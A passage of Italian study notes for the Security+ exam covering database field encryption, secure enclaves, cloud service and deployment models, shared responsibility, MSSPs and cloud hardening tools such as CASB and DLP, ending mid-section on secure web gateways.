Security # I database contengono spesso le informazioni piu' sensibili: credenziali, dati di pagamento, PII. Ci sono due approcci per cifrarli:\nCifratura dell'intero database: possibile ma raro in produzione — troppo costoso in termini di CPU, rallenta ogni query.\nCifratura a livello di campo (column encryption): si cifrano solo le colonne che contengono dati sensibili. Esempio con tabella Customers:\nTabella Customers ┌──────────────┬──────────────┬──────────────┬────────────────────┬───────────────────┐ │ customer_id │ last_name │ first_name │ credit_card_num │ security_code │ ├──────────────┼──────────────┼──────────────┼────────────────────┼───────────────────┤ │ 1001 │ Rossi │ Mario │ [CIFRATO] │ [CIFRATO] │ │ 1002 │ Bianchi │ Anna │ [CIFRATO] │ [CIFRATO] │ └──────────────┴──────────────┴──────────────┴────────────────────┴───────────────────┘ Solo credit_card_num e security_code sono cifrati — i campi non sensibili no. Si risparmia CPU senza esporre i dati critici.\nAltre tecniche di protezione del database:\nPassword come hash / salted hash: le password non si salvano in chiaro — si salva solo l'hash. Con il salt, due utenti con la stessa password hanno hash diversi (vedi Cap 10 per i dettagli). Tokenization: sostituisce il dato sensibile con un token casuale (placeholder privo di valore). Il dato reale sta in un vault separato. Esempio: al posto del numero carta 4111-1111-1111-1111 nel DB compare tok_8x7kQp2m. Se il DB viene compromesso, i token sono inutili senza accesso al vault. Important Database column encryption protegge i campi sensibili senza cifrare tutto il database — e' il pattern piu' comune in produzione. Exam keyword: \u0026quot;database field (column) encryption\u0026quot;.\nTip Exam tip: \u0026quot;data at rest\u0026quot; = dati fermi su un supporto. L'encryption e' il controllo primario. Le ACL da sole non bastano — un disco rubato bypassa NTFS ma non bypassa BitLocker.\nProtecting Data in Use # Data in use = dati attivamente elaborati dalla CPU o presenti in RAM. Sono il caso piu' difficile da proteggere: per essere usati, devono essere in chiaro in memoria, almeno temporaneamente.\nEsempi concreti:\nScenario 1 — PDF cifrato Apri il file → sistema carica la chiave di decifratura in RAM → CPU decifra il contenuto In quel momento: la chiave è in chiaro in memoria Rischio: memory scraping, cold boot attack Scenario 2 — Login con password Digiti la password → CPU la confronta con l\u0026#39;hash nel database In quel momento: la password è in RAM in chiaro (per ms) Rischio: malware che legge la memoria del processo di autenticazione Scenario 3 — Query su colonna cifrata del DB DB riceve la query → decifra il campo per elaborarlo In quel momento: il numero di carta di credito è in chiaro in RAM Rischio: un attaccante con accesso al processo del DB Secure Enclave / TEE (Trusted Execution Environment)\nLa soluzione hardware al problema del data in use. L'analogia con la sandbox e' corretta ma con una differenza critica:\nSandbox (isolamento software): [Processo A] [Processo B] [Enclave] ↑ ↑ ↑ │ │ │ [Sistema Operativo]────────┘ ↑ l\u0026#39;OS puo\u0026#39; leggere TUTTO (incluso \u0026#34;Processo A\u0026#34; e \u0026#34;Processo B\u0026#34;) Se l\u0026#39;OS è compromesso → tutto è esposto Secure Enclave (isolamento hardware): [Processo A] [Processo B] [ENCLAVE] ↑ ↑ ↑ │ │ │ ← memoria cifrata a livello CPU [Sistema Operativo] │ ← l\u0026#39;OS vede solo bytes cifrati ↑ │ l\u0026#39;OS NON puo\u0026#39; leggere l\u0026#39;enclave Nemmeno hypervisor o BIOS ci entrano → hardware lo impedisce fisicamente L'enclave e' isolata dall'esterno tramite hardware: la CPU cifra quella regione di RAM fisicamente, e la chiave di decifratura non lascia mai il chip. Anche root, anche l'hypervisor, anche il BIOS — nessuno puo' leggere il contenuto dell'enclave dall'esterno.\nFunzioni integrate nell'enclave :\nFunzione Dettaglio Boot ROM dedicato L'enclave ha il suo processo di avvio, separato dall'OS True random number generator Genera numeri casuali hardware — non pseudo-random software Real-time memory encryption Cifra i dati in entrata/uscita dalla memoria in tempo reale Chiavi crittografiche built-in Chiavi hardcoded nel chip, non modificabili, usate come root of trust AES in hardware Cifratura AES eseguita direttamente nell'hardware, non in software Process monitoring Monitora i processi del sistema, specialmente durante il boot Queste funzioni sono disponibili su ogni dispositivo moderno con secure enclave — telefono, laptop, tablet. Il nome cambia per produttore (Apple: \u0026quot;Secure Enclave\u0026quot;, Intel: SGX) ma le capacita' sono le stesse.\nIntel SGX (Software Guard Extensions): implementazione concreta di secure enclave. Il developer definisce quale porzione del codice e dei dati deve girare nell'enclave. SGX crea quella regione in RAM, la cifra con chiave interna alla CPU, e solo il codice dentro l'enclave puo' accedervi.\nEsempio reale: un password manager usa SGX per mantenere il vault decifrato nell'enclave durante l'uso. Il processo OS che gestisce l'interfaccia grafica non vede le password in chiaro — le riceve solo attraverso chiamate all'enclave.\nTip Exam tip: data in use = il caso piu' difficile da proteggere. Secure enclave / TEE = isolamento hardware (non software). La differenza con la sandbox: l'OS puo' leggere tutto in una sandbox, non puo' leggere niente in un'enclave hardware. Tecnologia: Intel SGX.\nCloud Concepts # mindmap root((Cloud Concepts)) Delivery Models SaaS app completa Gmail Notion Vendor patcha tutto PaaS piattaforma Vercel Heroku Serverless FaaS IaaS infrastruttura EC2 Hetzner Tu gestisci OS Shared Responsibility Dati sempre cliente OS IaaS cliente OS PaaS SaaS provider Deployment Models Public tutti Private una org Community gruppo condiviso Hybrid mix modelli Multi-cloud provider diversi Provider MSP IT generico MSSP security H24 CSP cloud hardware Considerazioni 6 Availability HA Resilience sotto stress Cost Responsiveness velocita Scalability crescita Segmentation VLAN cloud On-Premises vs Off On totale controllo Off data residency risk Single pane of glass API e Microservices Auth Authz TLS Microservizio fa una cosa Security containment Il cloud computing e' accedere a risorse di calcolo da una location diversa dal proprio computer locale, tipicamente via internet. Il punto chiave: non sai dove fisicamente si trova il server. Gmail potrebbe girare su un data center in Virginia o in Utah — non lo sai e non importa.\nIl concetto di elasticity (sezione Virtualization) e' la base che rende il cloud utile in picchi di traffico. Esempio Gibson: Amazon durante il Black Friday aveva i server al limite della capacita'. L'anno successivo ha noleggiato server cloud solo per quella settimana. Da quella lezione e' nato Amazon EC2.\nSaaS, PaaS, IaaS — i tre delivery model # Cosa gestisci TU vs il provider SaaS PaaS IaaS ───── ───── ───── Applicazione Provider TU TU Runtime/Framework Provider Provider TU OS / Patch Provider Provider TU Hardware Provider Provider Provider Regola rapida: salendo da IaaS a SaaS, il provider gestisce sempre di piu' — tu gestisci sempre di meno.\nSaaS — Software as a Service\nUsi solo l'applicazione finale. Non hai accesso a nessuno strato sottostante.\nEsempio Cosa fai Cosa non gestisci Gmail Scrivi email Server, OS, database, patch Notion Prendi note Niente — usi solo l'app GitHub (cloud) Gestisci repo Nessun server Exam keyword: \u0026quot;web-based email = SaaS\u0026quot;. Il vendor gestisce tutto, incluse le patch. Tu usi solo il prodotto finale.\nPaaS — Platform as a Service\nIl provider gestisce hardware, OS, runtime, patch. Tu porti il codice e l'applicazione. Non interagisci mai con l'OS sottostante.\nEsempio Cosa fai Cosa gestisce il provider Vercel (il blog Hugo) Fai push del codice Build, deploy, CDN, certificati TLS, scaling Heroku Carichi app Node.js OS, runtime Node, scaling, patch AWS Elastic Beanstalk Carichi il codice EC2, OS, load balancer, auto-scaling PaaS non e' una VPS. Una VPS base e' IaaS: ti danno Linux, ci installi tutto tu. PaaS e' una VPS dove il provider gestisce anche OS e runtime — tu non hai mai accesso a ssh sulla macchina.\nServerless — il caso estremo di PaaS\nCon Lambda (AWS) o Cloud Functions (GCP) non esiste nemmeno il concetto di server che gira in attesa. Esempio concreto:\nScenario: ogni foto caricata su S3 deve essere ridimensionata Senza serverless: Server Express.js sempre acceso → polling S3 → ridimensiona Costo: 24/7 anche se arriva 1 foto all\u0026#39;ora Con AWS Lambda: 1. Scrivi la funzione Python resize_image() 2. La carichi su Lambda 3. Dici: \u0026#34;eseguila quando arriva un file in questo bucket S3\u0026#34; → Arriva foto → Lambda fa girare la funzione (200ms) → la spegne → Paghi solo quei 200ms → Nessun server da gestire, nessun OS, nessuna patch Altro esempio: API endpoint. Invece di un server Node.js sempre attivo, ogni richiesta HTTP fa girare la Lambda function per il tempo necessario, poi si spegne.\nFaaS — Function as a Service e' il termine formale per il modello serverless. I due termini descrivono la stessa cosa:\nTermine Cos'e' Serverless Nome comune / marketing FaaS (Function as a Service) Nome tecnico formale della stessa cosa Lambda, Cloud Functions Implementazioni concrete di FaaS Ogni funzione ha tre proprieta' chiave per l'esame:\nProprieta' Significato Event-triggered Non gira in attesa — si avvia solo su evento (HTTP request, file upload, messaggio in coda) Ephemeral Vive solo durante l'esecuzione. Risponde, si spegne. Stateless Ogni esecuzione parte da zero, nessuna memoria delle precedenti Implicazione di sicurezza: il developer scrive la logica server-side, ma il container stateless e' gestito dal cloud provider (third-party). Tutta la sicurezza dell'OS sottostante e' responsabilita' del provider — non tua.\nImportant Exam keyword: FaaS = Function as a Service. Serverless non significa \u0026quot;nessun server\u0026quot; — significa che il server e' gestito dal provider. La sicurezza dell'OS in serverless e' sempre in capo al third-party (cloud provider).\nIaaS — Infrastructure as a Service\nIl provider ti affida l'hardware (o la VM equivalente). Tu gestisci tutto dall'OS in su: installazione, configurazione, patch, software. Soluzione \u0026quot;self-managed\u0026quot;.\nEsempio Cosa ti danno Cosa gestisci tu Hetzner VPS (Mustache) VM con Linux di base OS, Suricata, SIEM, patch, servizi AWS EC2 VM con OS opzionale Tutto sopra l'hardware DigitalOcean Droplet VM con Ubuntu Tutto sopra l'hardware IaaS e' utile quando hai bisogno di controllo totale sull'ambiente — o quando vuoi ridurre il footprint fisico nel tuo data center senza perdere il controllo dell'OS.\nSaaS PaaS IaaS Gestione OS Provider Provider Tu Patch Provider Provider Tu Codice app Provider Tu Tu Controllo Minimo Medio Massimo Esempio Gmail Vercel Hetzner/EC2 Keyword \u0026quot;fully managed app\u0026quot; \u0026quot;fully managed platform\u0026quot; \u0026quot;self-managed\u0026quot; Tip Exam tip: SaaS = app completa via internet (Gmail, web-based email). PaaS = piattaforma gestita, il vendor fa OS e patch. IaaS = hardware/VM in affitto, tu gestisci tutto. Serverless = caso estremo di PaaS, zero server da configurare.\nShared Responsibility Model # Questo e' il frame che trasforma SaaS/PaaS/IaaS da \u0026quot;tipi di cloud\u0026quot; a \u0026quot;modelli di responsabilita' divisa\u0026quot;. L'esame non chiede solo cosa sono — chiede chi e' responsabile di cosa in ogni modello.\nRegola chiave: il provider e' responsabile della sicurezza del cloud. Il cliente e' responsabile della sicurezza nel cloud.\nLivello IaaS PaaS SaaS Dati Cliente Cliente Cliente Identita' / IAM Cliente Cliente Condivisa Applicazione Cliente Cliente Provider OS / Patch Cliente Provider Provider Runtime Cliente Provider Provider Virtualizzazione Provider Provider Provider Storage fisico Provider Provider Provider Hardware Provider Provider Provider La riga critica: i dati sono sempre responsabilita' del cliente, anche in SaaS. Se perdi i dati di Gmail per un tuo errore (cancellazione, account compromesso), Google non te li restituisce.\nMisconfig nel cloud = errore del cliente, non del provider. Il Capital One breach del 2019 (WAF mal configurato su AWS) era errore del cliente, non di AWS.\nImportant Exam keyword: \u0026quot;shared responsibility\u0026quot;. In qualsiasi modello cloud, i dati restano responsabilita' del cliente. L'hardware e' sempre del provider. La linea di confine varia per SaaS/PaaS/IaaS.\nCloud Deployment Models # Quattro modelli che descrivono dove risiede il cloud e chi puo' usarlo:\nPublic Cloud — disponibile a chiunque voglia pagare. Infrastruttura condivisa tra tutti i clienti del provider.\nEsempi reali famosi:\nNetflix su AWS: dopo una corruzione del database nel 2008, Netflix ha migrato tutta l'infrastruttura su AWS. Oggi gira quasi interamente su public cloud. Capital One data breach 2019: Capital One girava su AWS. Un WAF mal configurato ha esposto oltre 100 milioni di record di clienti. Caso di studio classico su errori di configurazione nel public cloud. Dropbox: ha iniziato su AWS, poi ha costruito la propria infrastruttura — esempio di migrazione da public a private. Private Cloud — cloud creato per un singolo cliente. Puo' essere gestito internamente o da un provider terzo, ma l'accesso e' esclusivo.\nEsempi reali famosi:\nCIA / US Intelligence Community: ha firmato un contratto da $600M con AWS per un private cloud dedicato (AWS GovCloud) — nessun altro cliente accede a quella infrastruttura. JPMorgan Chase: una delle banche piu' grandi al mondo gestisce un private cloud interno con migliaia di applicazioni. Motivazione: compliance finanziaria e controllo totale sui dati. Industria nucleare e difesa: per definizione non possono mettere dati operativi su public cloud — usano private cloud on-premises o dedicati. Community Cloud — condiviso da un gruppo di organizzazioni con interessi, requisiti di sicurezza o obblighi normativi comuni.\nEsempi reali famosi:\nMicrosoft GCC (Government Community Cloud): cloud Microsoft riservato esclusivamente ad agenzie governative USA federali, statali e locali. Non accessibile a privati. Soddisfa FedRAMP e altri requisiti di compliance governativa. AWS GovCloud: stessa idea — regioni AWS fisicamente separate, accessibili solo a entitla' governative USA verificate. GÉANT: rete cloud europea condivisa tra universita' e centri di ricerca. Risorse computazionali e storage condivisi solo tra istituzioni accademiche europee. Hybrid Cloud — combinazione di due o piu' modelli. Le parti mantengono identita' separata ma sono collegate, spesso in modo trasparente per gli utenti.\nEsempi reali famosi:\nBMW: usa Azure per workload customer-facing e analisi dati, ma mantiene sistemi di produzione e IP industriale su infrastruttura privata. Il confine e' invisibile agli utenti finali. Banche retail: dati dei clienti e core banking on-premises (compliance, bassa latenza), app mobile e servizi digitali su public cloud. L'utente dell'app non vede il confine. Adobe Creative Cloud: le app girano localmente sul tuo Mac (private), i file si sincronizzano su cloud Adobe (gestito). Hybrid dal punto di vista dell'utente. Modello Chi puo' accedere Gestito da Esempio Public Chiunque paghi Provider AWS, Azure, GCP Private Una sola organizzazione Organizzazione o provider dedicato CIA GovCloud, JPMorgan Community Gruppo con interessi comuni Provider o comunita' Microsoft GCC, GÉANT Hybrid Dipende dal componente Mix BMW, banche Tip Exam tip: public = aperto a tutti. Private = una sola organizzazione. Community = gruppo con requisiti condivisi (es. governo, ricerca). Hybrid = mix di due o piu' modelli, con identita' separate ma collegate.\nMulti-cloud # Multi-cloud = risorse da due o piu' cloud provider distinti. Concetto diverso da hybrid cloud — la distinzione e' critica per l'esame:\nMulti-cloud Hybrid cloud Cosa combina Provider diversi Modelli diversi (public + private) Esempio AWS + Azure AWS (public) + datacenter interno (private) Entrambi public? Si, possibile No — per definizione mescola modelli Esempio: un'organizzazione usa EC2 di AWS per il compute e Azure Blob Storage per i backup. Entrambi sono public cloud — e' multi-cloud, non hybrid.\nPro: resilienza. Se AWS va down, Azure regge. Nessun vendor lock-in.\nContro: complessita'. Il team IT deve conoscere e mantenere due ambienti separati, con tool, IAM, network e security policy diversi per ciascuno. Piu' complessita' = piu' superficie di attacco, piu' rischio di errori di configurazione.\nSfide operative concrete del multi-cloud (da tenere per l'esame):\nLog eterogenei: ogni provider scrive log con formato e terminologia diversi. Correlare eventi tra AWS e Azure richiede normalizzazione — non puoi semplicemente unirli e cercare. Mismatch di configurazione: i provider non si parlano direttamente. Devi configurare separatamente IAM, firewall, autenticazione su ciascuno. Un errore su un provider non si replica sull'altro — rimane invisibile finche' non crea un incidente. Dati in transito tra provider: quando i dati passano da un cloud all'altro attraverso internet pubblico, devi garantire cifratura in transito. Ogni trasferimento e' un momento di esposizione. Tip Exam trap: multi-cloud non e' hybrid cloud. Multi-cloud = due provider. Hybrid = due modelli di deployment (es. public + private).\nAPIs e Microservices # API (Application Programming Interface) = componente software che permette a sviluppatori di accedere a funzionalita' o dati di un'altra applicazione, servizio o OS. Usata in web app, IoT, cloud.\nEsempio concreto: Amazon.com mostra il tracking dei pacchi. Non gestisce internamente i dati di UPS o FedEx — chiama le API dei singoli corrieri passando il tracking ID, riceve i dati e li mostra. L'input entra, i dati escono.\nVulnerabilita' delle API — tre aree critiche da proteggere:\nArea Rischio se assente Soluzione Authentication Chiunque chiama l'API Password + MFA, API key, OAuth Authorization Utente autenticato accede a dati altrui Ruoli diversi (developer vs app vs admin) Transport security Traffico intercettabile TLS obbligatorio Esempio reale: i primi termostati wireless Nest mandavano dati in chiaro su internet — esponevano orari di casa, abitudini degli occupanti. TLS avrebbe cifrato il traffico e impedito l'intercettazione.\nIndicatori di attacco via API:\nDati trapelati online → probabile esfiltrazione via API Siti web compromessi → API dell'applicazione web attaccata Volumi anomali di chiamate API → brute force o scraping Microservices\nUn microservizio e' un modulo di codice che fa una cosa sola bene. Riceve input, processa, restituisce output. Non e' legato a un'azienda specifica — e' riusabile in qualsiasi applicazione.\nDifferenza con API classica (web service):\nAPI classica (web service): Tracking UPS → chiama API UPS (specifica per UPS) Tracking FedEx → chiama API FedEx (specifica per FedEx) → codice diverso per ogni corriere Microservizio: Tracking ID → microservizio determina il corriere → chiama l\u0026#39;API giusta → restituisce i dati → un solo modulo per tutti i corrieri → riusabile in qualsiasi app senza modifiche Nota: Gibson usa \u0026quot;microservice\u0026quot; in senso semplificato — descrive un modulo riusabile non legato a un vendor. Non e' il concetto architetturale di microservizi vs monolite che conosci come developer (deploy indipendenti, fault isolation, scaling per servizio, service discovery). Il punto di contatto e' che un microservizio architetturale rispetta anche la definizione Gibson: piccolo, fa una cosa, espone un'API. Per il Security+ basta la definizione Gibson.\nMonolite vs Microservizi\nMonolite Microservizi Struttura Un singolo eseguibile — UI, business logic, auth tutto insieme Servizi separati, ognuno espone un'API Aggiornamenti Cambia una cosa → rebuild e deploy di tutto Aggiorna solo il microservizio interessato Scalabilita' Scala tutto o niente Scala solo il servizio sotto pressione Fault isolation Un errore puo' abbattere tutto Un microservizio down non ferma gli altri Sicurezza Un perimetro per tutto Ogni microservizio ha la propria security policy Flusso architetturale:\nClient └─→ API Gateway ← punto unico di ingresso, gestisce routing ├─→ Microservizio A (es. autenticazione) └─→ Database A ├─→ Microservizio B (es. pagamenti) └─→ Database B └─→ Microservizio C (es. notifiche) └─→ Database C Vantaggio di sicurezza chiave: security containment built-in. Il microservizio di autenticazione ha le sue policy di sicurezza. Quello dei pagamenti ha le sue. Una compromissione di un microservizio non si propaga automaticamente agli altri.\nTip Exam tip: API = interfaccia tra sistemi, va protetta con auth + authz + TLS. Microservizio = modulo che fa una cosa, non legato a un'azienda specifica, riusabile. Indicatore di attacco API = data leak online.\nMSSP — Managed Security Service Provider # Un MSSP e' un vendor terzo che fornisce servizi di sicurezza a organizzazioni che non hanno le risorse per costruire un team interno.\nEsempio concreto: uno studio commercialista con 40 dipendenti gestisce dichiarazioni dei redditi, conti bancari, PII di centinaia di clienti. Hanno un sysadmin part-time per i PC, zero figure di security. Non possono permettersi un SOC analyst, un firewall engineer, un threat intelligence specialist.\nIngaggiano un MSSP come Secureworks o Trustwave. Il contratto include:\nNGFW installato in sede, configurato e monitorato da remoto dall'MSSP Scansioni di vulnerabilita' mensili Filtro antispam/antiphishing sulle email SOC 24/7: se alle 3 di notte parte un attacco brute force, gli analisti dell'MSSP lo vedono e lo bloccano Lo studio paga una fee mensile. Non ha assunto nessuno. Ha pero' una copertura che da soli non potrebbero permettersi.\nServizi tipici di un MSSP:\nCategoria Esempi Perimetro NGFW, UTM appliance, VPN Rilevamento IDS/IPS, SIEM gestito, vulnerability scanning Filtraggio Antispam, antivirus, web content filtering (proxy) Dati DLP Manutenzione Patch management L'MSSP puo' installare appliance fisiche in sede del cliente e gestirle da remoto, oppure redirigere tutto il traffico attraverso il proprio cloud (cloud-hosted security).\nMSP vs MSSP:\nMSSP (Managed Security Service Provider): Azienda esterna che fornisce servizi di SOC e sicurezza gestita per conto di terzi — analisti H24, SIEM, EDR, IR inclusi nel servizio.\nEsempi in Italia: Fastweb Security, TIM Enterprise Security, Yarix, Cyberoo, Spike Reply. Hook: il SOC in outsourcing. Per aziende che non possono permettersi un SOC interno H24, l'MSSP è la soluzione. Per chi vuole fare carriera nel SOC, gli MSSP sono il posto dove si impara più velocemente — volume altissimo di alert reali.\nMSP (Managed Service Provider): Azienda esterna che gestisce servizi IT generici per conto di un cliente — help desk, backup, server, email, rete. Non focalizzato sulla security. Spesso aggiunge servizi MSSP come add-on. Differenza chiave: MSP = IT in outsourcing, MSSP = SOC/security in outsourcing. Entrambi forniscono servizi continuativi (non consulenza a progetto).\nMSP MSSP Focus IT generale (help desk, backup, email, server) Solo security Offre security? A volte, come add-on Si, e' il core business Analogia IT department esterno completo SOC esterno Nella pratica molti MSP aggiungono servizi MSSP al loro catalogo — la distinzione si confonde. Per l'esame: MSP = IT generico, MSSP = security specifica.\nMSSP non e' un team di consulenza. La distinzione e' nel tipo di rapporto:\nSecurity consulting MSSP Durata Progetto definito (pen test, audit) Servizio continuativo 24/7 Output Report, raccomandazioni Operazioni di security attive Dopo l'incarico Se ne vanno Restano, sempre Analogia Freelancer per una feature SaaS sempre acceso Un consulente dice \u0026quot;hai queste vulnerabilita', fai queste cose\u0026quot;. L'MSSP le gestisce direttamente, ogni giorno, anche di notte. E' il tuo SOC in outsourcing — non un advisor.\nIl meccanismo che formalizza il rapporto e' lo SLA (Service Level Agreement): il contratto definisce tempi vincolanti. Respond within X hours = entro quanto dall'alert devono risponderti. Resolve within Y hours = entro quanto devono aver contenuto o risolto. Se non rispettano i tempi, scattano le penali contrattuali. E' un reparto esternalizzato con KPI misurabili, non un consulente che consegna un report e sparisce.\nTip Exam tip: MSSP = third-party vendor che fornisce security services. MSP = IT services in generale (puo' includere security ma non e' il focus). Una piccola azienda senza budget per un SOC interno usa un MSSP.\nCloud Service Provider Responsibilities # Un CSP (Cloud Service Provider) e' l'entita' che offre uno o piu' servizi cloud tramite uno o piu' deployment model. La differenza tra modelli non e' solo \u0026quot;cosa ti danno\u0026quot; — e' una divisione precisa di responsabilita' tra CSP e cliente, sia per la manutenzione che per la sicurezza.\nLa figura 5.3 (derivata dalla DoD Cloud Computing Security Requirements Guide) mostra la matrice completa. Salendo da IaaS a SaaS, il CSP gestisce progressivamente di piu' — il cliente sempre di meno.\nDue termini tecnici nella matrice:\nMiddleware: software aggiunto all'OS per estenderne le capacita' di base. Esempio Gibson: Apache aggiunto a Linux trasforma il sistema in web server. In PaaS il CSP fornisce e gestisce il middleware — il cliente non lo tocca.\nRuntime: ambiente di hosting in cui gira l'applicazione del cliente. In PaaS il CSP affitta accesso allo stesso server a piu' clienti. Ogni cliente gira dentro un container isolato dagli altri. Il runtime e' quello strato di isolamento.\nTre esempi concreti di Gibson per leggere la matrice:\nModello Esempio Cosa gestisce il CSP Cosa rimane al cliente SaaS Gmail Tutto — server, OS, database, patch, sicurezza infrastruttura Password forte e diversa dagli altri account PaaS Container su server Tutto tranne applicazione e dati Applicazione e dati IaaS Server fisico o virtuale in affitto Solo hardware e networking OS, runtime, middleware, applicazioni, dati Il punto critico di Gmail: Google si occupa della sicurezza dell'infrastruttura, ma la responsabilita' cliente non sparisce — usare una password forte e unica protegge i propri dati.\nIl CSP e' anche responsabile della services integration: garantire che tutti gli elementi della soluzione cloud funzionino insieme.\nImportant Exam keyword: \u0026quot;shared responsibility model\u0026quot;. In IaaS il cliente gestisce OS, runtime e middleware. In PaaS solo applicazione e dati. In SaaS principalmente credenziali e dati propri.\nTip Exam tip: se una domanda chiede chi patcha l'OS in un deployment cloud, la risposta dipende dal modello: IaaS = cliente, PaaS/SaaS = CSP. \u0026quot;Web-based email\u0026quot; o \u0026quot;fully managed app\u0026quot; = SaaS.\nCloud Security Considerations # Quando si sceglie un CSP, un'organizzazione deve valutare questi fattori di sicurezza:\nConsiderazione Espansione Definizione Gibson Availability Alta disponibilita' Sistema operativo con downtime quasi zero, ottenuto con load balancing su nodi multipli Resilience Resilienza Capacita' di mantenere la funzionalita' anche in caso di eventi avversi (disastri, attacchi) — tramite ridondanza e failover Cost Costo Bilanciare il costo del servizio con il budget e i requisiti dell'organizzazione Responsiveness Reattivita' Velocita' e affidabilita' con cui il servizio risponde alle richieste — misurata in response time e throughput Scalability Scalabilita' Capacita' di gestire quantita' crescenti di dati, traffico e richieste senza degradare le performance Segmentation Segmentazione Isolamento di dati e applicazioni sensibili tramite reti separate — come le VLAN on-premises, ma nel cloud High Availability (HA)\nHA non e' sinonimo di ridondanza — e' un livello superiore.\nConcetto Definizione Esempio Ridondanza Sistema di riserva disponibile, ma attivazione manuale Firewall di scorta in magazzino: lo prendi, configuri, inserisci nel rack High Availability Failover automatico, nessuna interruzione percepibile Due firewall in coppia: se uno cade, l'altro prende il traffico senza intervento umano Configurazioni HA:\nModalita' Come funziona Pro Contro Active-Passive Uno gestisce tutto, l'altro e' in standby Semplice Il secondario non fa niente finche' il primario non cade — spreco di risorse Active-Active Entrambi gestiscono traffico simultaneamente Nessuno spreco, maggiore throughput Piu' complesso da configurare Cascata di costi: progettare per HA moltiplica i costi a ogni layer. Due firewall HA richiedono due reti ridondanti, che richiedono due alimentazioni ridondanti. A un certo punto l'organizzazione deve decidere: vale il costo del downtime o vale il costo dell'HA?\nImportant Exam trap: Redundancy != High Availability. Ridondanza = pezzi di ricambio disponibili. HA = sistema che non si interrompe mai, failover automatico. L'HA implica ridondanza, ma la ridondanza non implica HA.\nHigh availability across zones: i nodi sono in zone geografiche diverse. Se un nodo cade, gli altri assorbono il carico — nessun singolo punto di failure.\nResilience vs Availability: concetti distinti ma collegati. Availability = il servizio e' su. Resilience = il servizio regge anche sotto stress (attacchi, guasti). Un sistema puo' essere disponibile ma non resiliente (regge finche' tutto va bene, crolla sotto attacco).\nSegmentazione cloud: le reti cloud supportano VPC (Virtual Private Cloud), subnet, security group — equivalenti cloud di VLAN e screened subnet. Fondamentale per isolare dati sensibili dal resto dell'infrastruttura.\nTip Exam tip: le sei considerazioni sono un elenco da memorizzare. La trap e' confondere Availability (sistema su/giu') con Resilience (sistema regge lo stress) e Scalability (cresce col carico) con Responsiveness (velocita' di risposta). Sono quattro concetti distinti.\nOn-Premises vs Off-Premises # La domanda non e' \u0026quot;cloud si o no\u0026quot; — e' dove fisicamente sta l'hardware.\nOn-Premises Off-Premises Hardware Dentro la sede dell'organizzazione In un data center del CSP Deployment models supportati Solo Private Cloud Qualsiasi (Public, Private, Community, Hybrid) Public Cloud Mai Sempre Manutenzione L'organizzazione Il CSP Controllo sui dati Totale Limitato On-Premises\nL'organizzazione mantiene controllo completo su tutte le risorse e sui dati. Gestisce autonomamente autenticazione e autorizzazione — piu' semplice implementare SSO (Single Sign-On) senza account separati per le risorse cloud.\nSvantaggio: l'organizzazione e' responsabile di tutta la manutenzione. Per chi non ha un grande IT department, mantenere un'infrastruttura cloud on-premises puo' essere insostenibile.\nScelta architetturale on-premises:\nApproccio Caratteristica Vantaggio Centralizzato Equipment in uno o pochi data center grandi Costi ridotti, gestione semplificata Decentralizzato Equipment distribuito in molti data center piccoli Riduce l'impatto del fallimento di una singola sede Centralized management console — single pane of glass\nQuando l'infrastruttura e' distribuita (piu' sedi, piu' cloud provider, piu' OS), la sfida di sicurezza diventa: come monitoro tutto da un punto solo?\nLa risposta e' una console di gestione centralizzata — un unico pannello da cui vedere ogni utente, ogni dispositivo, ogni applicazione. Fornisce:\nAlert consolidati da tutte le sorgenti Analisi centralizzata dei log (un solo punto di ricerca) Processo globale di patch e manutenzione Tradeoff critico: questa console e' anche un Single Point of Failure (SPOF). Se il sistema cade, l'organizzazione perde completamente la visibilita' sulla propria postura di sicurezza. Piu' l'organizzazione cresce, piu' la console lavora — richiede piu' storage per i log, piu' CPU per gli alert.\nNote Exam keyword: \u0026quot;single pane of glass\u0026quot; = console centralizzata di security management. Vantaggio: visibilita' completa. Svantaggio: SPOF (Single Point of Failure).\nOff-Premises\nIl CSP si occupa della manutenzione. Anche in IaaS — il modello con piu' responsabilita' sul cliente — il CSP garantisce comunque che l'hardware sia operativo.\nDue rischi specifici off-premises:\nData residency: l'organizzazione potrebbe non sapere dove sono fisicamente i dati. Se sono in un altro paese, si applicano le leggi di quel paese — implicazioni legali e di compliance. Soluzione contrattuale: richiedere al CSP di conservare i dati in un unico paese.\nDigital forensics: gia' difficile on-premises, diventa piu' complessa con infrastruttura cloud. Il CSP e' una terza parte — ogni volta che un'organizzazione contrae con un cloud provider, quel provider diventa un third-party source. Vale anche quando il CSP conserva solo dati o fornisce un singolo servizio.\nTip Exam tip: on-premises = controllo totale, manutenzione a tuo carico, solo private cloud. Off-premises = CSP gestisce l'hardware, public cloud e' sempre off-premises. Rischi off-premises: data residency (leggi straniere) e forensics complicata (third-party source).\nHardening Cloud Environments # mindmap root((Hardening Cloud)) CASB Tra org e cloud provider Applica policy Blocca shadow IT Cloud DLP Rileva PII PHI nel cloud Alert blocco quarantena SWG Next-Gen Proxy + firewall stateless URL filtering Malware detection Sandboxing Security Groups Regole firewall tue risorse Non modifica CSP firewall IaC Terraform CloudFormation Virtual objects via codice Riusabile automazione SDN Data Plane forward blocca Control Plane path routing SD-WAN reti geografiche Edge e Fog Computing Edge sul dispositivo Latenza zero Fog nodo locale Coordina piu sensori Problema latenza cloud CASB — Cloud Access Security Broker # I CSP offrono protezioni native, ma alcune organizzazioni vogliono controllo aggiuntivo e cercano soluzioni di terze parti. Il CASB e' una di queste.\nUn CASB e' un software o servizio deployato tra la rete dell'organizzazione e il cloud provider. Monitora il traffico e applica le policy di sicurezza. Tutto cio' che e' accessibile via internet e' un attack vector — incluse le risorse cloud. Il CASB mitiga questi rischi applicando le policy in modo coerente su tutti i cloud service provider usati dall'organizzazione.\nUtenti aziendali | [CASB] ← monitora traffico, applica policy | Cloud provider Cloud-Based DLP # E' comune per il personale aziendale salvare dati nel cloud per accedervi da qualsiasi luogo e dispositivo. Le soluzioni DLP cloud permettono di implementare policy per i dati conservati nel cloud.\nEsempio Gibson: un'organizzazione configura una policy per rilevare PII (Personally Identifiable Information) o PHI (Protected Health Information) salvati nel cloud. Dopo il rilevamento, la policy DLP puo' eseguire una o piu' azioni:\nInviare un alert al security administrator Bloccare i tentativi di salvare il dato nel cloud Mettere in quarantena il dato Important Exam keyword: \u0026quot;cloud-based DLP\u0026quot; = applica policy di sicurezza per i dati nel cloud. Esempio tipico: garantire che i PII siano cifrati.\nNext-Generation Secure Web Gateway (SWG) # Client A ──┐ Client B ──┤──→ [ SWG ] ──→ Internet Client C ──┘ │ ↓ URL filtering Malware detection DLP Sandboxing (blocca / lascia passare) Un 